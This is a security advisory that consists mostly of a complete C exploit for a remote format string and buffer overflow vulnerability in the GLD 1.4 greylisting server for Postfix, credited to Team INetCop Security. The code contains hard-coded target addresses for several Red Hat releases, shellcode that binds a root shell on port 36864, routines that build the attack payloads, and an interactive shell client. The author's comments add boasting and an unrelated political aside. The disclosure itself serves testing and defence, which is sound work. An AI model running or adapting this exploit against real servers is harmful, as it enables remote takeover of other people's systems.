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GLD Remote Format String Vulnerability (client_address, Exploit)
------------------------------------------------------------------------
SUMMARY
<http://www.gasmi.net/gld.html> GLD is "a standalone greylisting server
for Postfix. Greylisting is a new weapon to use against SPAM". A format
string vulnerability was found at GLD Postfix that allow attacker to
execute arbitrary code remotely. The following exploit can be used to test
your system for the mentioned vulnerability.
DETAILS
Exploit:
/*
**
**
** 0x82-meOw-linuxer_forever - gld 1.4 remote overflow format string
exploit.
** (c) 2005 Team INetCop Security.
**
** Nickname of this code is,
** `Kill two bird with one stone.' or, `One shot, two kill!.'
** hehehe ;-D
**
** Advisory URL:
** http://x82.inetcop.org/h0me/adv1sor1es/INCSA.2005-0x82-026-GLD.txt
**
** It's as well as RedHat Linux and to gentoo, debian Linux, *BSD.
** You can develop for your flatform.
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
**
**
** P.S: My domain x82.i21c.net encountered compulsion withdrawal from the
country.
** They are killing many hackers of the Korea. hehehe ;-p
**
*/
/*
**
** These days, the main issue that strikes Korea is small rocky island
"Dokdo".
** You can get more detailed information from following websites.
**
** "Japanese goverment has to follow and learn from German goverment"
**
** I can confidently say "Dokdo is belong to Korea".
**
** (1) reference
**
** 1) Their claim that the East Sea has some historical precedent worked,
** as some major book and map publishers, educational web sites and other
** reference materials now include the East Sea name along with the Sea of
Japan.
** - worldatlas.com-
**
** http://www.worldatlas.com/webimage/countrys/asia/eastsea.htm
**
** 2) On historical perspective and in international law, why there
** is no valid dispute over the ownership of Dokdo.
**
** http://www.prkorea.com/english/textbook/ge03.html
**
** 3)Truth in scholarship
**
** http://www.prkorea.com/english/textbook/maintruth.html
**
**
*/
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define DEF_HOST "localhost"
#define PORT 2525
struct os_t {
int number;
char *os_type;
unsigned long dtors_addr;
unsigned long shell;
int sflag;
};
struct os_t platform[]={
{
0,"Red Hat Linux release 7.0 (Guinness) gld 1.4 (format string exploit)",
0x0804db98,0xbfffa3bc,15
},
{
1,"Red Hat Linux release 9 (Shrike) gld 1.4 (format string exploit)",
0x0804d14c,0x0805506e,15
},
{
2,"Red Hat Linux release 7.0 (Guinness) gld 1.4 (buffer overflow
exploit)",
0,0xbfffa5d8,300
},
{
/* jmp *%esp method */
3,"Red Hat Linux release 9 (Shrike) gld 1.4 (buffer overflow exploit)",
0,0x4212c5eb,254
},
{
4,NULL,0,0,0
}
};
int __debug_chk=0;
char t_atk[0xfff*3];
// This is lovable shellcode, that's sweet in linux platform.
char shellcode[]= /* portshell shellcode, 128 bytes (tcp/36864) */
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89"
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89"
"\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89"
"\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80\x89"
"\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66"
"\x43\xcd\x80\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80"
"\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
void banrl();
int make_bof_code(unsigned long shell,int size,int type);
int make_fmt_code(unsigned long retloc,unsigned long shell,int sflag);
int setsock(char *host,int port);
void usage(char *args);
void re_connt(int sock);
void conn_shell(int sock);
int main(int argc,char *argv[])
{
int sock,type=0;
int port=(PORT);
char host[256]=DEF_HOST;
int sflag=platform[type].sflag;
unsigned long retloc=platform[type].dtors_addr;
unsigned long shell=platform[type].shell;
(void)banrl();
while((sock=getopt(argc,argv,"DdF:f:R:r:S:s:H:h:T:t:Ii"))!=EOF) {
extern char *optarg;
switch(sock) {
case 'D':
case 'd':
__debug_chk=1;
break;
case 'R':
case 'r':
retloc=strtoul(optarg,NULL,0);
break;
case 'S':
case 's':
shell=strtoul(optarg,NULL,0);
break;
case 'F':
case 'f':
sflag=atoi(optarg);
break;
case 'H':
case 'h':
memset((char *)host,0,sizeof(host));
strncpy(host,optarg,sizeof(host)-1);
break;
case 'T':
case 't':
type=atoi(optarg);
if(type>=4){
(void)usage(argv[0]);
} else {
retloc=platform[type].dtors_addr;
shell=platform[type].shell;
sflag=platform[type].sflag;
}
break;
case 'I':
case 'i':
(void)usage(argv[0]);
break;
case '?':
fprintf(stderr,"Try `%s -i' for more information.\n\n",argv[0]);
exit(-1);
break;
}
}
fprintf(stdout," #\n # target host: %s:%d\n",host,port);
fprintf(stdout," # type: %s\n",platform[type].os_type);
switch(type)
{
case 0:
case 1:
(int)make_fmt_code(retloc,shell,sflag);
break;
case 2:
(int)make_bof_code(shell,sflag,0);
break;
case 3:
(int)make_bof_code(shell,sflag,1);
}
fprintf(stdout," # send code size: %d byte\n",strlen(t_atk));
sock=setsock(host,port);
(void)re_connt(sock);
if(__debug_chk) sleep(10);
send(sock,t_atk,strlen(t_atk),0);
close(sock);
fprintf(stdout," #\n # Waiting rootshell, Trying %s:36864 ...\n",host);
sleep(1);
sock=setsock(host,36864);
(void)re_connt(sock);
fprintf(stdout," # connected to %s:36864 !\n #\n\n",host);
(void)conn_shell(sock);
}
int make_bof_code(unsigned long shell,int size,int type)
{
int a,b;
char nop_shell[8192];
char code_buf[4096];
memset((char *)nop_shell,0,sizeof(nop_shell));
memset((char *)code_buf,0,sizeof(code_buf));
memset((char *)t_atk,0,sizeof(t_atk));
switch(type)
{
case 0:
fprintf(stdout," # method: normal overflow exploit: %d byte\n",size);
/* sender buffer = nop, shellcode */
for(a=0;a<1000-strlen(shellcode);a++)
nop_shell[a]='N';
for(b=0;b<strlen(shellcode);b++)
nop_shell[a++]=shellcode[b];
/* client_address = retaddr */
for(b=0;b<size*4;b+=4)
*(long *)&code_buf[b]=shell;
snprintf(t_atk,sizeof(t_atk)-1,
"sender=%s\r\n"
"client_address=%s\r\n\r\n",nop_shell,code_buf);
break;
case 1:
fprintf(stdout," # method: jmp *%%esp exploit: %d byte\n",size);
/* sender buffer */
for(a=0;a<1000;a++)
nop_shell[a]='N';
/* client_address buffer */
for(b=0;b<size*4;b+=4)
*(long *)&code_buf[b]=0x82828282;
/* ebp */
*(long *)&code_buf[b]=0x41414141;
b+=4;
/* eip (jmp *%esp) */
*(long *)&code_buf[b]=(shell);
b+=4;
/* jmp nop (0xeb,0x08) */
*(long *)&code_buf[b]=0x08eb08eb;
b+=4;
/* dummy, nop */
// 0x0804d280 0xbfffe1c8 0x08049521
*(long *)&code_buf[b]=0x0804d280;
b+=4;
*(long *)&code_buf[b]=0x90909090;//0xbfffe1c8;
b+=4;
*(long *)&code_buf[b]=0x90909090;//0x08049521;
b+=4;
*(long *)&code_buf[b]=0x90909090;
b+=4;
/* shellcode */
for(a=0;a<strlen(shellcode);a++)
code_buf[b++]=shellcode[a];
snprintf(t_atk,sizeof(t_atk)-1,
"sender=%s\r\n"
"client_address=%s\r\n\r\n",nop_shell,code_buf);
}
}
int make_fmt_code(unsigned long retloc,unsigned long shell,int sflag)
{
unsigned char header[256];
unsigned char nop_shell[8192];
int a,b,c,d,e,f;
int addr1,addr2,addr3,addr4;
a=b=c=d=e=f=addr1=addr2=addr3=addr4=0;
memset((char *)header,0,sizeof(header));
memset((char *)nop_shell,0,sizeof(nop_shell));
memset((char *)t_atk,0,sizeof(t_atk));
fprintf(stdout," # Make format string, .dtors: %p\n",retloc);
*(long *)&header[0]=retloc+0;
*(long *)&header[4]=retloc+1;
*(long *)&header[8]=retloc+2;
*(long *)&header[12]=retloc+3;
a=(shell>>24)&0xff;
addr1=(shell>>24)&0xff;
b=(shell>>16)&0xff;
addr2=(shell>>16)&0xff;
c=(shell>>8)&0xff;
addr3=(shell>>8)&0xff;
d=(shell>>0)&0xff;
addr4=(shell>>0)&0xff;
if((addr4-16-65)<10)d+=0x100;
if((addr3-addr4)<10)c+=0x100;
if((addr2-addr3)<10)b+=0x100;
for(e=0;e<320-strlen(shellcode);e++)
nop_shell[e]='N';
for(f=0;f<strlen(shellcode);f++)
nop_shell[e++]=shellcode[f];
fprintf(stdout," #\n # shellcode addr: %p, size: %d
byte\n",shell,strlen(nop_shell));
snprintf(t_atk,sizeof(t_atk)-1,
"client_address=%s" /* header */
"%%%ux%%%d$n%%%ux%%%d$n%%%ux%%%d$n%%%ux%%%d$n" /* fmt code */
"%s\r\n\r\n", /* shellcode */
header,d-16-65,(sflag+0),c-addr4,(sflag+1),b-addr3,
(sflag+2),0x100+a-addr2,(sflag+3),nop_shell);
}
void re_connt(int sock)
{
if(sock==-1)
{
fprintf(stdout," #\n # Failed.\n");
fprintf(stdout," # Happy Exploit ! :-)\n #\n\n");
exit(-1);
}
}
int setsock(char *host,int port)
{
int sock;
struct hostent *he;
struct sockaddr_in x82_addr;
if((he=gethostbyname(host))==NULL)
{
herror(" # gethostbyname() error");
return(-1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF)
{
perror(" # socket() error");
return(-1);
}
x82_addr.sin_family=AF_INET;
x82_addr.sin_port=htons(port);
x82_addr.sin_addr=*((struct in_addr *)he->h_addr);
bzero(&(x82_addr.sin_zero),8);
if(connect(sock,(struct sockaddr *)&x82_addr,sizeof(struct
sockaddr))==EOF)
{
perror(" # connect() error");
return(-1);
}
return(sock);
}
void conn_shell(int sock)
{
int pckt;
char *cmd="uname -a;id;export TERM=vt100;exec bash -i\n";
char rbuf[1024];
fd_set rset;
memset((char *)rbuf,0,1024);
fprintf(stdout," #\n # Kill two bird with one stone!\n");
fprintf(stdout," # OK, It's Rootshell\n #\n\n");
send(sock,cmd,strlen(cmd),0);
while(1)
{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if(FD_ISSET(sock,&rset))
{
pckt=read(sock,rbuf,1024);
if(pckt<=0)
{
fprintf(stdout," #\n # Happy Exploit !\n #\n\n");
exit(0);
}
rbuf[pckt]=0;
printf("%s",rbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
pckt=read(STDIN_FILENO,rbuf,1024);
if(pckt>0)
{
rbuf[pckt]=0;
write(sock,rbuf,pckt);
}
}
}
return;
}
void banrl()
{
fprintf(stdout,"\n #\n # 0x82-meOw_linuxer_forever -
Greylisting daemon for Postfix remote exploit\n");
fprintf(stdout," # szoahc(at)hotmail(dot)com\n #\n\n");
}
void usage(char *args)
{
int i;
fprintf(stdout," Usage: %s -options arguments\n\n",args);
fprintf(stdout,"\t-r [retloc] - .dtors address.\n");
fprintf(stdout,"\t-s [shell] - shellcode address.\n");
fprintf(stdout,"\t-f [flag num] - $-flag count.\n");
fprintf(stdout,"\t-h [host] - target hostname.\n");
fprintf(stdout,"\t-t [type num] - target number.\n");
fprintf(stdout,"\t-i - help information.\n\n");
fprintf(stdout," - Target Type Number List -\n\n");
for(i=0;platform[i].os_type!=NULL;i++)
{
fprintf(stdout," {%d} : %s\n",i,platform[i].os_type);
}
fprintf(stdout,"\n Example: %s -t 0 -h localhost\n",args);
fprintf(stdout," Example: %s -r 0x82828282 -s 0x82828282 -f 15\n\n",args);
exit(0);
}
/* eox */
ADDITIONAL INFORMATION
The information has been provided by <mailto:szoahc@hotmail.com> you
dong-hun (Xpl017Elz).
========================================
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